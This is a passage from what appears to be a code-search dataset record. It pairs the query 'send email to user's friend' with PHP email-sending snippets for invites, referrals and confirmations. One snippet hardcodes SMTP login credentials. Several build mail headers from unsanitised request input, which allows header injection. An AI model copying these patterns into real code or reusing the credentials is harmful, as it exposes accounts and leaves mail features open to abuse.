query_id
stringlengths
32
32
query
stringlengths
7
5.32k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
5c3c56d1af015cca7c518eece2f60bd1
send email to user's friend
[ { "docid": "0241ae7f15d5b95ded80008508b5c98d", "score": "0.65791106", "text": "function emailToFriend($StoreID,$pid=0){\n\t\tglobal $normal_url;\n\n\t\t$msg = '';\n\t\t$tmpval = array();\n\t\t$check = true;\n\t\tif (!empty($_POST)){\n\n\t\t\t$pattern = \"^[_a-z0-9-]+(\\.[_a-z0-9-]+)*@[a-z0-9-]+(\\.[a-z0-9-]+)*(\\.[a-z]{2,4})$\";\n\t\t \tif(!eregi($pattern, $_POST['to'])) {\n\t\t \t\t$msg = \"Recipient's email address is invalid.\";\n\t\t\t\t$check = false;\n\t\t \t} elseif(!eregi($pattern, $_POST['from'])) {\n\t\t \t\t$msg = \"Your email address is invalid.\";\n\t\t\t\t$check = false;\n\t\t \t} elseif (strtolower($_POST['validation'])!=strtolower($_SESSION['authnum'])){\n\t\t\t\t$msg = \"Validation Code is invalid.\";\n if (get_magic_quotes_gpc()) {\n $_POST = stripslashes_deep($_POST);\n }\n $check = false;\n\t\t\t}\n\t\t\tif (!$check) {\n\t\t\t\tarray_walk($_POST,'html_decode');\n $tmpval = $_POST;\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($_REQUEST['to']) && $check){\n\t\t\t// send email\n\t\t\t$store_name = getStoreURLNameById($StoreID);\n\t\t\t$url_name = clean_url_name($store_name);\n\t\t\t$toname = stripcslashes($_REQUEST['from_name']);\n\t\t\t$from = stripcslashes($_REQUEST['from']);\n\t\t\t$to = stripcslashes($_REQUEST['to']);\n\t\t\t$sender = stripcslashes($_REQUEST['sender']);\n\t\t\t$message = stripcslashes($_REQUEST['message']);\n\t\t\t$infomation = $this->getStoreInfo($StoreID,$pid);\n\t\t\t//if ($_REQUEST['format']=='html'){\n//\t\t\t\t$message = \"Dear $toname,<br><br>\".nl2br($message);\n//\t\t\t\t$message.= \"<br><br> Following is the link to the website:\";\n//\t\t\t\t$message .=\"<table width=100% cellspacing=4>\";\n//\t\t\t\tif($infomation['Images']!=\"\" || 1){\n//\t\t\t\t\t$message .= \"<tr><td rowspan=4 width='100' align=center valign=top><img src='\".$normal_url.\"/\".($infomation['Images']?$infomation['Images']:'images/79x79.jpg').\"' width=81 /></td></tr>\";\n//\t\t\t\t}\n//\t\t\t\tif($infomation['url_item_name']){\n//\t\t\t\t\t$message.= \"<tr><td align=left><a href='{$normal_url}/{$infomation['bu_urlstring']}/{$infomation['url_item_name']}'>\".htmlspecialchars($infomation['item_name']).\"</a></td></tr>\";\n//\t\t\t\t}\n//\t\t\t\t$message.= \"<tr><td>\" . truncate($infomation['description'], 90) . \"</td></tr>\";\n//\t\t\t\t$message.= \"<tr><td><a href='{$normal_url}/{$infomation['bu_urlstring']}'>\".$infomation['bu_name'].\"</a></td>\";\n//\t\t\t\t$message.= \"</tr></table>\";\n//\t\t\t\t$message .= \"<br><br>Sincerely,<br>$sender\";\n//\t\t\t}else{\n//\t\t\t\t$message = \"Dear $toname,\\n\\n\".$message;\n//\t\t\t\t$message.= \"\\n\\n Following is the link to the website:\\n\";\n//\t\t\t\t$message.= \"{$infomation['url_item_name']}\\n\";\n//\t\t\t\t$message.= truncate($infomation['description'], 90) . \"\\n\";\n//\t\t\t\t$message.= $infomation['bu_name'].\"\\n\";\n//\t\t\t\t$message.= \"\\nSincerely,\\n$sender\";\n//\t\t\t}\n\n if ($_REQUEST['format']=='html'){\n $message = \"Hi $toname,<br/><br/>\".nl2br($message);\n $message.= \"<br/><br/>Please cllick on this link: <a style='color:red' href='{$normal_url}{$infomation['bu_urlstring']}'>\".$infomation['bu_name'].\"</a> to visit a great business.\";\n $message .= \"<br/><br/>Sincerely,<br>$sender\";\n }else{\n $message = \"Hi $toname,\\n\\n\".$message;\n $message.= \"\\n\\nPlease cllick on this link: {$normal_url}{$infomation['bu_urlstring']} to visit a great business.\\n\";\n $message.= \"\\nSincerely,\\n$sender\";\n } \n \n\t\t\t$header = \"From: $sender <$from>\\n\";\n\t\t\t$header.= \"Content-type: text/\".$_REQUEST['format'].\"\\n\";\n if(LANGCODE == 'en-us'){\n $subject = \"Your friend $sender invite you to visit foodmarketplace.com\";\n }else{\n $subject = \"Your friend $sender invite you to visit foodmarketplace.com.au\";\n }\n\t\t\t\n//\t\t\tif($toname){$to = $toname.\" <$to>\";\t}\n\t\t\t$result = @mail($to,$subject, getFanfrenzyEmailTemplate($message),fixEOL($header));\n\t\t\tif ($result){\n\t\t\t\treturn array('msg'=>'Email sent successfully','StoreID'=>$StoreID,'pid'=>$_REQUEST['pid']);\n\t\t\t}else{\n\t\t\t\treturn array('msg'=>'Failed to send email','StoreID'=>$StoreID,'pid'=>$_REQUEST['pid']);\n\t\t\t}\n\t\t}else{\n\t\t\treturn array('msg'=>$msg,'StoreID'=>$_REQUEST['StoreID'],'pid'=>$_REQUEST['pid'], 'tmpval'=>$tmpval);\n\t\t}\n\t}", "title": "" } ]
[ { "docid": "33c90496e4c876c61acaee81934f5310", "score": "0.77537525", "text": "function SendConfirmedEmail($friend)\n {\n $args=$this->CGI_URI2Hash();\n $args[ \"Action\" ]=\"Logon\";\n $args[ \"Email\" ]=$friend[ \"Email\" ];\n unset($args[ \"ConfirmCode\" ]);\n \n $rargs=$args;\n $rargs[ \"Action\" ]=\"ResendConfirm\";\n \n $mailtype=\"Confirm\";\n\n $this->MyMod_Mail_Typed_Send\n (\n $mailtype,\n $friend,\n $this->Unit(),\n array\n (\n \"LoginLink\" => $this->CGI_Script_Exec\n (\n $this->CGI_Hash2URI($args)\n ),\n \"RecoverPasswordLink\" => $this->CGI_Script_Exec\n (\n $this->CGI_Hash2URI($rargs)\n ),\n )\n );\n }", "title": "" }, { "docid": "7cf2533b5e97dd2b478c09891283ae0f", "score": "0.7170077", "text": "function SendRegistrationEmail($friend)\n {\n $args=$this->CGI_URI2Hash();\n $args[ \"Action\" ]=\"Confirm\";\n $args[ \"ConfirmCode\" ]=$friend[ \"ConfirmCode\" ];\n $args[ \"NewEmail\" ]=$friend[ \"CondEmail\" ];\n \n\n $rargs=$args;\n unset($rargs[ \"ConfirmCode\" ]);\n \n $rrargs=$rargs;\n $rrargs[ \"Action\" ]=\"ResendConfirm\";\n \n $mailtype=\"Register\";\n if ($this->GetCGIVarValue(\"Action\")==\"ResendConfirm\")\n {\n $mailtype=\"Confirm_Resend\";\n }\n\n\n $this->MyMod_Mail_Typed_Send\n (\n $mailtype,\n $friend,\n $this->Unit(),\n array\n (\n \"ConfirmLink\" => $this->CGI_Script_Exec\n (\n $this->CGI_Hash2URI($args)\n ),\n \"ConfirmLinkForm\" => $this->CGI_Script_Exec\n (\n $this->CGI_Hash2URI($rargs)\n ),\n \"ResendCodeLink\" => $this->CGI_Script_Exec\n (\n $this->CGI_Hash2URI($rrargs)\n ),\n )\n );\n }", "title": "" }, { "docid": "63d930af31b61166dd55d922352f4a37", "score": "0.7112598", "text": "public function MailSendToFriend($friend_email, $my_email)\r\n\t{\r\n\t\t$mailer = $this->getConfiguredMailer();\r\n\t\t\r\n\t\t$replace = array(\r\n\t\t\t'YOUR_EMAIL' => $my_email\r\n\t\t);\r\n\t\t$email_data = $this->getEmailData('email_SendToFriend', $replace);\r\n\t\r\n\t\t$subject = $email_data['subject'];\r\n\t\t$msg = (isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : 'n/a') . \"\\n\" . $email_data['message'];\r\n\t\t\r\n\t\tif ($friend_email != '' && $my_email != '' && validate_email($friend_email) && validate_email($my_email))\r\n\t\t{\r\n\t\t\t$mailer->SetFrom($my_email);\r\n \t\t$mailer->AddAddress($friend_email);\r\n\t\t\t$mailer->Subject = $subject;\r\n\t\t\t$mailer->Body = $this->nl2br($msg);\r\n\t\t\t$mailer->AltBody = $msg;\r\n\r\n\t\t\tif ($mailer->Send())\r\n\t\t\t{\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "e391650c429fb4d70155fa713ee65534", "score": "0.7090978", "text": "public function emailuser()\n\t{\n\t\t$to = JRequest::getVar('to');\n\t\t$from = JRequest::getVar('from');\n\t\t$url = JRequest::getVar('url');\n\t\t$subject = JRequest::getVar('Note');\n\t\t$title = JRequest::getVar('title');\n\n\t\t$headers = \"From: \" . \"<\" . $from . \">\\r\\n\";\n\t\t$headers .= \"Reply-To: \" . $from . \"\\r\\n\";\n\t\t$headers .= \"Return-path: \" . $from;\n\t\t$message = $subject . \"\\n\\n\";\n\t\t$message .= \"Video URL: \" . $url;\n\n\t\tif (mail($to, $title, $message, $headers))\n\t\t{\n\t\t\t$returnmessage = \"success=sent\";\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$returnmessage = \"success=error\";\n\t\t}\n\n\t\techo $returnmessage;\n\t\texit;\n\t}", "title": "" }, { "docid": "da5171676ce0a51a422133390d9d15c4", "score": "0.67902064", "text": "function send_request_email($user_b_email, $user_a_name, $user_a_surname){\n\t//email message\n\t$emailmessage = \"Hello, Your friend \". $user_a_name .\" \".$user_a_surname . \"would like to meet you half way\";\n\t//email subject\n\t$emailSubject = \"Meet You Halfway Email\";\n\t//confirm email was sent\n\terror_log(\"Sent email to $user_b_email\");\n\n mail($user_b_email, $emailSubject, $emailmessage);\n}", "title": "" }, { "docid": "19a75d77b0da5f63ba80db266b4d9eac", "score": "0.6740065", "text": "public static function inviteFriend() {\n\t\t\t// Add Classes\n\t\t\t$RepQuestion\t= new RepQuestion();\t\n\t\t\t$ModAlert\t\t= new ModAlert();\n\t\t\t// Initialize variables\n\t\t\t$email\t\t\t= (isset($_POST['email'])) ? trim($_POST['email']) : false;\n\t\t\t$user\t\t\t= Session::getVar('user');\n\t\t\t// If values were sent\n\t\t\tif (($user) && ($email)) {\n\t\t\t\t// Fetch content\n\t\t\t\t$email_content\t= $ModAlert->inviteFriendEmail($user['vc_user'], $user['vc_email'], $email);\n\t\t\t\t// If email was sent\n\t\t\t\tif (mail($email, 'You were invited to play Knowledge Question Adventure', $email_content, \"From:\".$user['vc_email'])) {\n\t\t\t\t\t// Register it on database\n\t\t\t\t\t$return\t\t= ($RepQuestion->logInviteFriend($user['id'], $email)) ? 'ok' : 'Most likely you have invited that person already.';\n\t\t\t\t\t// Prepare return\n\t\t\t\t// If email was not sent\n\t\t\t\t} else {\n\t\t\t\t\t// Prepare return\n\t\t\t\t\t$return\t\t= 'mail object error: email not sent';\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Print return on screen\n\t\t\techo $return;\n\t\t}", "title": "" }, { "docid": "5031c15a2b2496e1ccf36023224ecfd1", "score": "0.6715456", "text": "public function sendFriendRequest($to = array(), $from = array(), $link)\n\t{\n\t\t$this->email_updates = $to['email_updates'];\n\t\t$message = $this->getSetting('message_friend_request');\t\t\n\t\t$message = str_replace('{link}', $link, $message);\n\t\t$message = str_replace('{to}', $to['realname'], $message);\n\t\t$message = str_replace('{username}', $to['username'], $message);\n\t\t$message = str_replace('{followerrealname}', $from['realname'], $message);\n\t\t$message = str_replace('{followerusername}', $from['username'], $message);\t\t\t\n\t\t$message .= $this->getSetting('signature');\t\t\n\t\t$message .= $this->getSetting('email_settings_link');\t\t\n\t\t$message .= \"\\n\\nThis email was intended for \" . $to['email'];\n\t\t$subject = $this->getSetting('subject_friend_request');\n\t\t$subject = str_replace('{followerrealname}', $from['realname'], $subject);\n\t\t$subject = str_replace('{followerusername}', $from['username'], $subject);\t\n\t\t$this->send($to['email'], $subject, $message);\n\t}", "title": "" }, { "docid": "654f47a39841fe8022a2b894715b1969", "score": "0.67068994", "text": "function inviteMailUsers($friends,$friendlist,$password) {\n global $lang;\n \n\t\tif ($friendlist != \"\" && $password != \"\"){\n // Check if friendlist exists\n $friendlistObject = new Friendlist($friendlist);\n\t\t\tif ($friendlistObject->name) {\n\t\t\t\t// send mail\n\t\t\t\tforeach ($friends as $i) {\n\t\t\t\t\tmb_internal_encoding(\"UTF-8\");\n $headers = \"\";\n $headers .= \"From: \"._MAIL_FROM.\"\\n\";\n $headers .= \"MIME-version: 1.0\\n\"; \n $headers .= \"Content-Type: text/plain; charset=utf-8\\n\"; \n\n $res = mail($i, \n $lang['invite-mail-subject'], \n $lang['invite-mail-message-1']\n .$friendlist\n .$lang['invite-mail-message-2']\n .\"account.php?action=addinfriendlist&friendlist=\".urlencode($friendlist).\"&friendlist_password=\".urlencode($password)\n .$lang['invite-mail-message-3']\n .\"register.php?friendlist=\".urlencode($friendlist).\"&friendlist_password=\".urlencode($password), \n $headers\n );\n\t\t\t\t}\n return true;\n\t\t\t}\n }\n // Being here suppose that an error occured\n return false;\n\t}", "title": "" }, { "docid": "8a2643c542eb61f928d5f9c132b6b735", "score": "0.65728474", "text": "public function sendInvitation()\n {\n $data = [\n 'name' => $this->full_name,\n 'login' => $this->login,\n 'password' => $this->getOriginalHashValue('password'),\n 'link' => Backend::url('backend'),\n ];\n\n Mail::send('backend::mail.invite', $data, function ($message) {\n $message->to($this->email, $this->full_name);\n });\n }", "title": "" }, { "docid": "ae982016423aec6cc3b11d7d5d479691", "score": "0.65716094", "text": "public function friend($friend_user_id = NULL) {\n\t\n\t\t# Create an array of the user's and other user's IDs.\n\t\t$data['user_id'] = $this->user->user_id;\n\t\t$data['recipient_id'] = $friend_user_id;\n\t\n\t\t$user_recipient = DB::instance(DB_NAME)->insert(\"users_recipients\", $data);\n\t\t\n\t\t# Create a relationship between the recipient and the occasion\n\t\t# Temporary: the db contains one occasion, Christmas. Hard-coded for now.\n\t\t$recip_occasion = array(\"user_recipient_id\" => $user_recipient, \"occasion_id\" => '2');\n\t\tDB::instance(DB_NAME)->insert('recipients_occasions', $recip_occasion);\n\t\n\t\tRouter::redirect(\"/gifts/find_friends\");\n\t}", "title": "" }, { "docid": "d02c4c7114ab9fa2695aca791abad1f2", "score": "0.65504426", "text": "function teams_send_email($touserid, $fromuserid, $group, $action) {\n global $COURSE, $DB;\n\n $sendto = $DB->get_record('user', array('id' => $touserid));\n $sendfrom = $DB->get_record('user', array('id' => $fromuserid));\n\n $a = new stdclass();\n $a->firstname = $sendto->firstname;\n $a->user = fullname($sendfrom);\n $a->course = $COURSE->fullname;\n $a->courseurl = new moodle_url('/course/view.php', array('id' => $COURSE->id));\n $a->group = $group->name;\n\n $subject = get_string($action.'emailsubject', 'block_teams');\n email_to_user($sendto, $sendfrom, $subject, get_string($action.'emailbody', 'block_teams', $a));\n}", "title": "" }, { "docid": "734df3ccbd5aa7f7c9792aea4fb096dd", "score": "0.6479405", "text": "static function PrepAndSendMailSTF($friends_email, $friends_name, $user_email, $user_name, $aud_title, $play_url)\n\t\t{\n\t\t\t$sub_for_friend = \"Hi \".$friends_name.\"! \".$user_name.\" sent you an Audio!\" ;\n\t\t\t$msg_for_friend = \"Hi <B>\".$friends_name.\"</B>,<BR/><BR/>Your friend <B>\".$user_name.\"</B> ( \".$user_email.\" ) has invited you to listen audio <A HREF='\".$play_url.\"'><B>\".$aud_title.\"</B></A>. To listen the audio, please click on following link <A HREF='\".$play_url.\"'>\".$play_url.\"</A> or copy and paste above link to your browser.<BR/><BR/>Regards,<BR/><A HREF=\\\"http://www.mgoos.com\\\">www.MGooS.com</A><BR/><B>Search Audio, Share Audio, Love Audio</B><BR/><BR/><BR/>This is an auto generated Email. Please don't reply to this mail.\" ;\n\t\t\t\n\t\t\tCEMail::Send($friends_email, \"[email protected]\", $sub_for_friend, $msg_for_friend) ;\n\t\t}", "title": "" }, { "docid": "ffe332f8c5601d35cea9d6e74d6eeee6", "score": "0.6428941", "text": "public function email() {\n\n\t\tif ($this->get('status') != 'place' && $this->get('receiver_net') == 'fb') {\n\t\t\t$receiver = ThwUser::getBy([\n\t\t\t\t\t\t'uid'\t => $this->get('receiver_uid'),\n\t\t\t\t\t\t'net'\t => 'fb'\n\t\t\t]);\n\n\t\t\tif (!empty($receiver) && $receiver->get('email')) {\n\n\t\t\t\tif ($this->get('place')) {\n\t\t\t\t\t$place = $this->get('place');\n\t\t\t\t} else {\n\t\t\t\t\t$sender = ThwUser::getBy([\n\t\t\t\t\t\t\t\t'uid'\t => $this->get('sender_uid'),\n\t\t\t\t\t\t\t\t'net'\t => $this->get('receiver_net')\n\t\t\t\t\t]);\n\t\t\t\t}\n\n\n\t\t\t\t$karma = ThwThank::getKarma($receiver, 'dontmail');\n\n\t\t\t\t$html = H::getTemplate('letter_3', [\n\t\t\t\t\t\t\t'sender'\t\t\t\t => empty($place)\n\t\t\t\t\t\t\t\t\t? $sender->get('name')\n\t\t\t\t\t\t\t\t\t: $place,\n\t\t\t\t\t\t\t'karma'\t\t\t\t\t => $karma['karma'],\n\t\t\t\t\t\t\t'average_friends_karma'\t => $karma['average_friends_karma'],\n\t\t\t\t\t\t\t'thank_back'\t\t\t => empty($place)\n\t\t\t\t\t\t\t\t\t? H::getTemplate('letter_4', [\n\t\t\t\t\t\t\t\t\t\t'link'\t => '<a style=\"color:rgb(41,169,225);\" href=\"' . Thanklink::getLink('sms', '') . '\">https://topkarma.com</a>',\n\t\t\t\t\t\t\t\t\t\t'back'\t => B::setProtocol('https:', B::baseURL() . 'thank/' . ($sender->d('id') + 23457890))\n\t\t\t\t\t\t\t\t\t\t\t], 'parse')\n\t\t\t\t\t\t\t\t\t: H::getTemplate('letter_5', [\n\t\t\t\t\t\t\t\t\t\t\t], 'parse')\n\t\t\t\t\t\t\t\t], 'parse');\n\n//die($html);\n\n\t\t\t\tMandrillmail::send([\n\t\t\t\t\t'to'\t\t => $receiver->get('email'),\n\t\t\t\t\t'html'\t\t => $html,\n\t\t\t\t\t'from_name'\t => 'Top Karma',\n\t\t\t\t\t'subject'\t => T::out([\n\t\t\t\t\t\t'thank_1978' => [\n\t\t\t\t\t\t\t'en'\t\t => 'You get thank from {{sender_name}}',\n\t\t\t\t\t\t\t'ru'\t\t => 'Вы получили спасибо от {{sender_name}}',\n\t\t\t\t\t\t\t'_include'\t => [\n\t\t\t\t\t\t\t\t'sender_name' => empty($place)\n\t\t\t\t\t\t\t\t\t\t? $sender->get('name')\n\t\t\t\t\t\t\t\t\t\t: $place\n\t\t\t\t\t\t\t]\n\t\t\t\t\t\t]\n\t\t\t\t\t])\n\t\t\t\t]);\n\t\t\t}\n\t\t}\n\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "1a55f449db47ed99a0773ed032532e59", "score": "0.64179754", "text": "public function send_to_friend( $name, $email, $message ){\n\t\t$course_price = get_post_meta( $this->id, '_price', true );\n\t\t$course_id = get_post_meta( $this->id, '_course_id', true );\n\t\t$coupon = $this->create_gift_coupon( $course_price );\n\t\terror_log('sending coupon ' . $coupon . ' to ' . $name);\n\t\tglobal $wpdb;\n\n\t\t$module_data = array(\n\t\t\t'sender_id'\t\t\t=> get_current_user_id(),\n\t\t\t'course_id'\t\t\t=> $course_id,\n\t\t\t'receiver_email'\t=> $email,\n\t\t\t'coupon_code'\t\t=> $coupon\n\t\t);\n\t\t$wpdb->insert(\n\t\t\t$wpdb->prefix . 'pending_gifts',\n\t\t\t$module_data,\n\t\t\tarray( '%d', '%d', '%s', '%s' )\n\t\t);\n\t\tif ( $wpdb->insert_id ){\n\t\t\t$this->send_email_to_friend( $name, $email, $message, $coupon );\n\t\t}\n\t}", "title": "" }, { "docid": "239d1973342eb8ed4bf97607c975a079", "score": "0.6397469", "text": "function sendConfirmationEmail();", "title": "" }, { "docid": "8c10f29914cdbc5eb4525b9bc49b1a4e", "score": "0.6395059", "text": "public function sendmoderatoremail() {\n\t\t$config = SiteConfig::current_site_config();\n\n\t\tforeach($config->Moderators() as $moderator) {\n\t\t\ttry {\n\t\t\t\t$email = new Email();\n\t\t\t\t$email->setTemplate('ModerationEmail');\n\t\t\t\t$email->setTo($moderator->Email);\n\t\t\t\t$email->replyTo($this->owner->Email);\n\t\t\t\t$email->setSubject(sprintf(_t('EmailVerifiedMember.NEWMEMBEREMAILSUBJECT', 'New member waiting for moderation at %s'), $config->Title));\n\t\t\t\t$email->populateTemplate(array(\n\t\t\t\t\t'ModerationLink' => Director::absoluteBaseURL() . 'admin/security/EditForm/field/Members/item/' . urlencode($this->owner->ID) . '/edit',\n\t\t\t\t\t'Moderator' => $moderator,\n\t\t\t\t\t'Member' => $this->owner,\n\t\t\t\t\t'SiteTitle' => $config->Title,\n\t\t\t\t));\n\t\t\t\t$this->owner->ModerationEmailSent = $email->send();\n//\t\t\t\tDebug::Show($email);\n\t\t\t} catch(Exception $e) {\n\t\t\t\tDebug::Show($e);\n\t\t\t}\n\t\t}\n\t\t//$this->owner->ModerationEmailSent = $email->send();\n\t}", "title": "" }, { "docid": "da358cfdc1ae526e2676c9a07c2c795a", "score": "0.6369157", "text": "public function sendMessageToUser() {\n\t\t\tif ($this->request->is('post')) {\n\t\t\t\t$to = $this->data['Inbox']['to'];\n\t\t\t\t$getExpld = explode(',',$to);\n\t\t\t\tif(isset($getExpld[1])){\n\t\t\t\t$this->request->data['Inbox']['to'] = trim($getExpld[1]);\n\t\t\t\t}\n\t\t\t\t$this->Inbox->create();\n\t\t\t\tif ($this->Inbox->save($this->request->data)) {\n\t\t\t\t\techo 'true';\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\techo 'false';\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->autoRender = false;\n\t\t}", "title": "" }, { "docid": "df667ba535d141b0e804a6fdf7ef5d50", "score": "0.63657826", "text": "function friendAction(){\n\t\t$uemail = $_REQUEST['email'];\n\t\t$id = $_REQUEST['id'];\n\t\t\n\t\t$uid = base_base2base($id, 59, 10);\n\t\t\n\t\t$sql = \"SELECT * FROM list_invite \n\t\t\t\tWHERE `friend` = '$uid' AND `email` = '$uemail' \n\t\t\t\tLIMIT 1\";\n\t\t\t\t\n\t\t$res = $this->db->exec($sql);\n\t\t\n\t\t//not found!\n\t\tif( !count($res) ){\n\t\t\tsession_destroy();\n\t\t\t$this->Redirect('' );\n\t\t}\n\t\t\n\t\t$_SESSION['ref'] = \"friend\";\n\t\t\n\t\t$this->Redirect('' );\n\t}", "title": "" }, { "docid": "e86f598271e970f3ddaf3e96fdaf1ffb", "score": "0.6362866", "text": "public function email();", "title": "" }, { "docid": "bed4003eb16529b0ce19c302112bf69a", "score": "0.632116", "text": "function friend_mail_send($to, $subject, $body, $from = '', $cc = '') {\n\n if (empty($from)) {\n $from = variable_get('site_mail');\n }\n\n $message = [\n 'from' => $from,\n 'to' => $to,\n 'subject' => $subject,\n 'body' => array($body),\n 'headers' => array(),\n ];\n\n if (!empty($cc)) {\n $message['headers']['Cc'] = $cc;\n }\n\n return friend_mail_send_extended($message);\n}", "title": "" }, { "docid": "34506beabc4031e18234179bc63f5543", "score": "0.63130605", "text": "public function sendEmailConfirmationTo($user){\n $view = 'emails.confirm';\n $data = compact('user');\n $from = '[email protected]';\n $name = 'MyWeibo';\n $to = $user->email;\n $subject = \"Thank you for your register, please confirm your email\";\n\n Mail::send($view, $data, function($message) use ($from, $name, $to, $subject){\n $message->from($from, $name)->to($to)->subject($subject);\n });\n }", "title": "" }, { "docid": "81eb61e98d85fdfd33645818b6bb7708", "score": "0.62670577", "text": "public function send($username, $friend)\n {\n if ($_POST['message'] == \"\") {\n header('Location:' . URL . '/friend/chat/' . $username . '/' . $friend);\n exit;\n }\n\n $this->model('Messenger_Model')->send($username, $friend);\n header('Location:' . URL . '/friend/chat/' . $username . '/' . $friend);\n exit;\n }", "title": "" }, { "docid": "5dbc541da16c6131de25284d5bb37179", "score": "0.6249891", "text": "function emailStaff($email)\n {\n $email_address = $email;\n $email_subject = \"GoLocalApp email verification\";\n $email_body = \"Thanks for signing up!\";\n $headers = \"From: [email protected]\\n\";\n $headers .= \"Reply-To: $email_address\";\n $result = mail( $email_address, $email_subject , $email_body , $headers );\n return $result;\n }", "title": "" }, { "docid": "dcb238f6408e56ce538960a64581e56a", "score": "0.6249282", "text": "static function PrepAndSendAckUserSTF($friends_email, $friends_name, $user_email, $user_name, $aud_title, $play_url)\n\t\t{\n\t\t\t$sub_for_user = \"Hi \".$user_name.\"! we have sent invite to \".$friends_name ;\n\t\t\t$msg_for_user = \"Hi <B>\".$user_name.\"</B>,<BR/><BR/>We have sent the invite to your friend <B>\".$friends_name.\"</B> ( \".$friends_email.\" )to listen audio <A HREF='\".$play_url.\"'><B>\".$aud_title.\"</B></A>. To listen the audio, please click on following link <A HREF='\".$play_url.\"'>\".$play_url.\"</A> or copy and paste above link to your browser.<BR/><BR/>Regards,<BR/><A HREF=\\\"http://www.mgoos.com\\\">www.MGooS.com</A><BR/><B>Search Audio, Share Audio, Love Audio</B><BR/><BR/><BR/>This is an auto generated Email. Please don't reply to this mail.\" ;\n\t\t\t\n\t\t\tCEMail::Send($user_email, \"[email protected]\", $sub_for_user, $msg_for_user);\n\t\t}", "title": "" }, { "docid": "d717e73546fc2d193c1668d16d159285", "score": "0.6234344", "text": "function referFriend($id,$friendEmail,$name) {\n if (!$friendEmail || !$name) return 'Missing parameters';\n $checkUsers = R::findOne('user','email = :email',[':email'=>$friendEmail]);\n $checkReferrals = R::findOne('referrals','friend_email = :email',[':email'=>$friendEmail]);\n if (!$checkUsers) {\n if (!$checkReferrals) {\n $user = R::load('user',$id);\n $user->coins += 10;\n $referral = R::dispense('referrals');\n $referral->user_id = $id;\n $referral->friend_email = $friendEmail;\n R::store($referral);\n R::store($user);\n sendEmail($friendEmail,strip_tags($name),'refer',$user->username);\n return 'Invitation sent. Thank you!';\n }\n return 'This person has already been sent a referral!';\n }\n return 'This person is already a registered user!';\n}", "title": "" }, { "docid": "6b0ebb68e1da8600b72d38356b43f804", "score": "0.6229613", "text": "public function sendFriendRequest(Request $request){\n\t\t$user = User::find(self::getID());\n\t\t$user2 = User::find($request->id);\n\t\t$user->befriend($user2);\n\t\t\n\t\treturn redirect('matchlist')->with('success', 'Match request sent.');\n\t}", "title": "" }, { "docid": "b0a0d7a258acb0059877e5b4818ca664", "score": "0.61950374", "text": "public function sendInviteMail()\n {\n\n // User requested registration link by its self\n if ($this->source == self::SOURCE_SELF) {\n\n $mail = Yii::$app->mailer->compose([\n 'html' => '@humhub/modules/user/views/mails/UserInviteSelf',\n 'text' => '@humhub/modules/user/views/mails/plaintext/UserInviteSelf'\n ], ['token' => $this->token]);\n $mail->setFrom([\\humhub\\models\\Setting::Get('systemEmailAddress', 'mailing') => \\humhub\\models\\Setting::Get('systemEmailName', 'mailing')]);\n $mail->setTo($this->email);\n $mail->setSubject(Yii::t('UserModule.views_mails_UserInviteSelf', 'Registration Link'));\n $mail->send();\n } elseif ($this->source == self::SOURCE_INVITE) {\n\n // Switch to systems default language\n Yii::$app->language = \\humhub\\models\\Setting::Get('defaultLanguage');\n\n $mail = Yii::$app->mailer->compose([\n 'html' => '@humhub/modules/user/views/mails/UserInviteSpace',\n 'text' => '@humhub/modules/user/views/mails/plaintext/UserInviteSpace'\n ], [\n 'token' => $this->token,\n 'originator' => $this->originator,\n 'originatorName' => $this->originator->displayName,\n 'token' => $this->token,\n 'space' => $this->space\n ]);\n $mail->setFrom([\\humhub\\models\\Setting::Get('systemEmailAddress', 'mailing') => \\humhub\\models\\Setting::Get('systemEmailName', 'mailing')]);\n $mail->setTo($this->email);\n $mail->setSubject(Yii::t('UserModule.views_mails_UserInviteSpace', 'Space Invite'));\n $mail->send();\n\n // Switch back to users language\n if (Yii::$app->user->language !== \"\") {\n Yii::$app->language = Yii::$app->user->language;\n }\n }\n }", "title": "" }, { "docid": "c17db76575a2b663602f5aaac158cdb2", "score": "0.61894625", "text": "public function send_mail_to_user($id)\n\t{\n\t\t$email = $this->m_team->load_team_by_mid($id)->team_email;\n\n\t}", "title": "" }, { "docid": "7d7d928dc24c825917cbb1bc9f4af545", "score": "0.6180666", "text": "function notify_all_user_send_email() {\n //here you can build logic and email to all users\t\n //send email to admin\n wp_mail( '[email protected]', 'wordpress tutorial', 'Visit my blog for wordpress tutorial ...!');\n}", "title": "" }, { "docid": "8ad0127036e7171a31b7184342813b52", "score": "0.6169231", "text": "public function attachFriendToUser($user, $friend);", "title": "" }, { "docid": "049d90b4093cdfd12af398ee26ec2706", "score": "0.6166325", "text": "private function send_email(){\r\n\t\t$subject = \"New User sign-up email\";\r\n\t\t$body = $this->from_name.\" has submitted his/her email address on your coming soon web page. The email address is \".$this->from_email.\".\";\r\n\t\t \r\n\t\tif (mail($this->to, \"Signup alert\", $body)) {\r\n\t\t return true;\r\n\t\t} else {\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "7ec7326c741a389d6435593294a73c9a", "score": "0.6157972", "text": "public function send_fav_email_to_owner($fav_user_data,$car_data){\n\t\t$config = array(\n\t\t\t'protocol' => 'smtp',\n\t\t\t'smtp_host' => 'urend.com',\n\t\t\t'smtp_port' => 25,\n\t\t\t'smtp_user' => '[email protected]',\n\t\t\t'smtp_pass' => 'Urend2016$',\n\t\t);\n $data['fav_user_data'] = $fav_user_data;\n\t\t$data['car_data'] = $car_data;\t\t \n\t\t$data['user_data'] = $this->user_model->userProfile(array('userId' => $car_data['fk_user_id']));\n\t\t\n\t\t$this->load->library('email', $config);\n\t\t$this->email->set_newline(\"\\r\\n\");\n\t\t$this->email->from($config['smtp_user'], 'UREND');\n\t\t$this->email->to($data['user_data']['email']);\n\t\t$this->email->subject('Car Added To Favourite');\n\t\t$this->email->message($this->load->view('email_templates/owner_car_added_to_fav', $data, 